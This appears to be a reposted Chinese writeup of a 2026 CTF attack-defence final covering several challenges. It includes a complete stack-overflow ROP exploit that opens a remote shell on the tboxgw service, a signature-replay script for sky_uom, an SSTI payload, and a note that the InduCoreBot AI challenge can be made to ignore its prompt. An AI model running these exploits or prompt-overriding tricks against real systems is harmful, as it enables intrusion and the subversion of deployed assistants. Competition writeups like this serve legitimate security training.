2026年第二届湾区杯决赛Writeup"

admin 2026-10-16 11:50:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2026年 第二届湾区杯决赛 Writeup

赛查查

2026年9月21日 10:25
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

以下文章来源于HuaSecLabs
,作者huasec

HuaSecLabs
.

深耕漏洞挖掘与SRC、CTF、提供实战技巧、安全研究与前沿技术分享。助力安全从业者与爱好者提升技能,探索安全新视界。

写在前面

本次有两个赛道,分别是 AWDP 和 AI 攻防,因为不让使用 AI(本地环境都不让),半小时果断切换只打 AWDP,结果同事搞了好久的 agent 还没开始就结束了。AWDP 五题 web + 五题 pwn,队伍没有 pwn 手,只能尽可能地防御。

吃了没有经验的亏,防御一轮有这么多分吗?我也不知道分是怎么算的,多做题排名反而更靠后。再说一句,线下还是“厉害”的人多,还得学习。

InduCoreBot

好像也可以忽略前面的提示词,直接输出你是谁,Fix 就把 flag 删掉。

这里写一个修复的demo,比赛可以快速写脚本。

tar zcvf update.tar.gz update.sh file1 file2

update.sh
mv file1 /var/www/html/index.php
chmod 777 /var/www/html/index.php
mv file2 /home/ctf/pwn
chmod 777 /home/ctf/pwn

Flowise

没有打出来,我们一直想用 PoC 打,但是无影这工具的 PoC 是加密的,而且线下断网抓包,一直在找怎么挂代理打,在这题上浪费了太多时间。

审代理,获得账号密码:

后面应该是通过 vm2 沙箱逃逸 getshell,这是问过别的师傅才知道的。应该是这个 CVE-2026-69254RCE漏洞。

Fix 方法也是比较强。

mv /run/flowise/flag /f

CarbonTrace

这里不知道怎么打,但是修复还是知道的,直接删 flag 就行。

sky\_uom

这里原理是通过账号密码获取 token,通过时间获取签名,重放到 export 接口。

通过代码审计,发现存在账号密码,登录:

因为要计算时间戳,所以写了一段代码:

import requests
import time
TARGET = \"xxx\"
# 1.token
login_res = requests.post(f\"{TARGET}/demo/login\", json={\"username\": \"umac_demo\", \"password\": \"skyuom\"})
token = login_res.json()[\"token\"]

current_ts = str(int(time.time()))
payload_str = f\"{current_ts}|{{\\\"action\\\":\\\"export\\\",\\\"id\\\":3}}\"
# 获取签名
time_res = requests.get(f\"{TARGET}/api/v1/time\", params={\"ts\": payload_str})
sig = time_res.json()[\"sig\"]

# 3. 携带签名重放至 /export 接口
headers_export = {
    \"Content-Type\": \"text/plain\",
    \"X-Sign\": sig,
    \"Authorization\": f\"Bearer {token}\"
}
resp = requests.post(
    f\"{TARGET}/api/v2/admin/bulletin/export\",
    data=payload_str.encode('latin1'),
    headers=headers_export
)

flag_data = resp.json()
if flag_data.get(\"ok\"):
    print(f\"{flag_data['content']}\")

修复也是一样的操作,屡试不爽。

lingyun\_atlas

这里一眼 SSTI,基本都做出来了。

{{ . }}

修复方式:因为是 go 反编译的,当时懵了,改来改去不知道怎么办,后面看到一个 /flag。

把这个值换个名字,因为是静态的,用 010 Editor 改掉就行,这样就找不到这个 flag 了。但是比赛时一直在改那个 api 逻辑,难受。

tboxgw

攻击:这里 TBox 网关私有协议中 BATCH 命令(0x12)用 body 首字节 count 执行 memcpy(0x100 栈帧, body+1, count*0x2e) 导致栈溢出;在非 PIE 的静态二进制里用 pop rbx;ret(59) + pop rdi;ret(body 缓冲区里的 \"/bin/sh\") + 错位 gadget 完成 execve(\"/bin/sh\",0,0),因子进程已把 socket dup2 到 0/1/2,所以直接得到交互 shell 读取 /flag。这里上脚本:

import socket, struct, sys, time

HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8888

def crc16_ccitt_false(data, crc=0xFFFF):
    \"\"\"matches sub_401139: MSB-first, poly 0x1021, init passed in, no xorout\"\"\"
    for b in data:
        crc ^= b << 8
        for _ in range(8):
            crc = ((crc << 1) ^ 0x1021) if (crc & 0x8000) else (crc << 1)
            crc &= 0xFFFF
    return crc

def frame(cmd, payload17, body):
    ln = len(body)
    hdr = bytes([0xFA, 0x5B, cmd]) + payload17.ljust(17, b'A')[:17] \\
          + struct.pack('<H', ln)          # len little-endian
    crc = crc16_ccitt_false(hdr[2:])        # over cmd+payload+len
    if ln:
        crc = crc16_ccitt_false(body, crc)  # chained over body
    return hdr + body + struct.pack('<H', crc)  # crc little-endian

# ---- gadgets (non-PIE, fixed 0x400000) ----
POP_RBX   = 0x4028d0   # pop rbx ; ret
POP_RDI   = 0x401f7d   # pop rdi ; ret
MAGIC     = 0x40363d   # xor edx,edx ; xor esi,esi ; mov rax,rbx ; syscall
BODY_BUF  = 0x409260   # global body buffer (bss) — persists after read
SH_ADDR   = BODY_BUF + 0x700

rop  = b''
rop += struct.pack('<Q', POP_RBX) + struct.pack('<Q', 59)   # rbx = SYS_execve
rop += struct.pack('<Q', POP_RDI) + struct.pack('<Q', SH_ADDR)
rop += struct.pack('<Q', MAGIC)    # execve(\"/bin/sh\", NULL, NULL)

body = bytearray(b'\\x00' * 0x800)
body[0] = 0x10                                   # count=16 → memcpy 736 bytes
body[1:1+236]  = b'B' * 236                      # filler up to saved rbp
body[237:245]  = struct.pack('<Q', 0xdeadbeef)   # saved rbp
body[245:245+len(rop)] = rop                     # return address + chain
body[0x700:0x708] = b'/bin/sh\\x00'

s = socket.create_connection((HOST, PORT), timeout=5)
print(s.recv(4096).decode(errors='replace').strip())   # banner
s.sendall(frame(0x12, b'', bytes(body)))
time.sleep(0.5)

s.sendall(b'cat /f*')
time.sleep(0.8)
try:
    out = s.recv(65536)
    print(out.decode(errors='replace'))
except Exception as e:
    print('recv:', e)
s.close()

防御就上通防,手速没这么快,一直在调。

RoadLedger

原理还是一样,改环境,这里就不再赘述了。

最后

有些做不出来的,还有本地无法复现的,这里就不继续写了。需要这次比赛本地附件(AI+AWDP)的,关注后回复今天日期 2026-09-15 即可。


2026年第二届湾区杯决赛Writeup" 网络安全文章

2026年第二届湾区杯决赛Writeup"

本文是2026年第二届湾区杯决赛的writeup,作者分享了AWDP赛道的实战经验,涵盖多个题目的攻击与防御方法,包括利用漏洞获取flag、修复漏洞等,并提供了部分攻击脚本和修复思路,强调了线下赛的经验教训。
第一届创宇杯网络安全技能大赛WP" 网络安全文章

第一届创宇杯网络安全技能大赛WP"

该文档为第一届创宇杯网络安全技能大赛的Writeup,包含三道Web题目的详细解题过程。GhostLoader利用ReactRouter的CVE-2025-43865漏洞伪造prerender数据投毒缓存,实现XSS读取flag;HackersBlog通过目录扫描发现后台,利用明文Cookie认证漏洞和路径穿越过滤绕过读取flag;PyBundlePin涉及Flask调试器PIN利用。文档提供了完整攻击链和代码示例,对CTF竞赛和Web安全研究具有参考价值。
iOS27翻车一周后,27.0.1要来了" 网络安全文章

iOS27翻车一周后,27.0.1要来了"

文章报道iOS27正式版发布后出现的多个问题,包括下拉通知栏与控制中心时卡死、小白点掉帧、应用卡住等,并提及信号和续航方面的反馈。作者建议未升级用户观望等待27.0.1修复版本,已升级用户注意避免触发卡死操作,老机型用户需谨慎升级。
带宽被陌生人跑满?用护卫神防盗链堵住漏洞" 网络安全文章

带宽被陌生人跑满?用护卫神防盗链堵住漏洞"

本文介绍网站资源被盗链的常见问题及护卫神防盗链工具的解决方案。文章指出手动配置Referer规则存在技术门槛高、易出错等痛点,而护卫神提供可视化配置界面,支持白名单、空Referer拦截、自定义拦截结果及日志功能,适配主流Web服务器,适合中小网站快速部署基础防护。
评论:0   参与:  0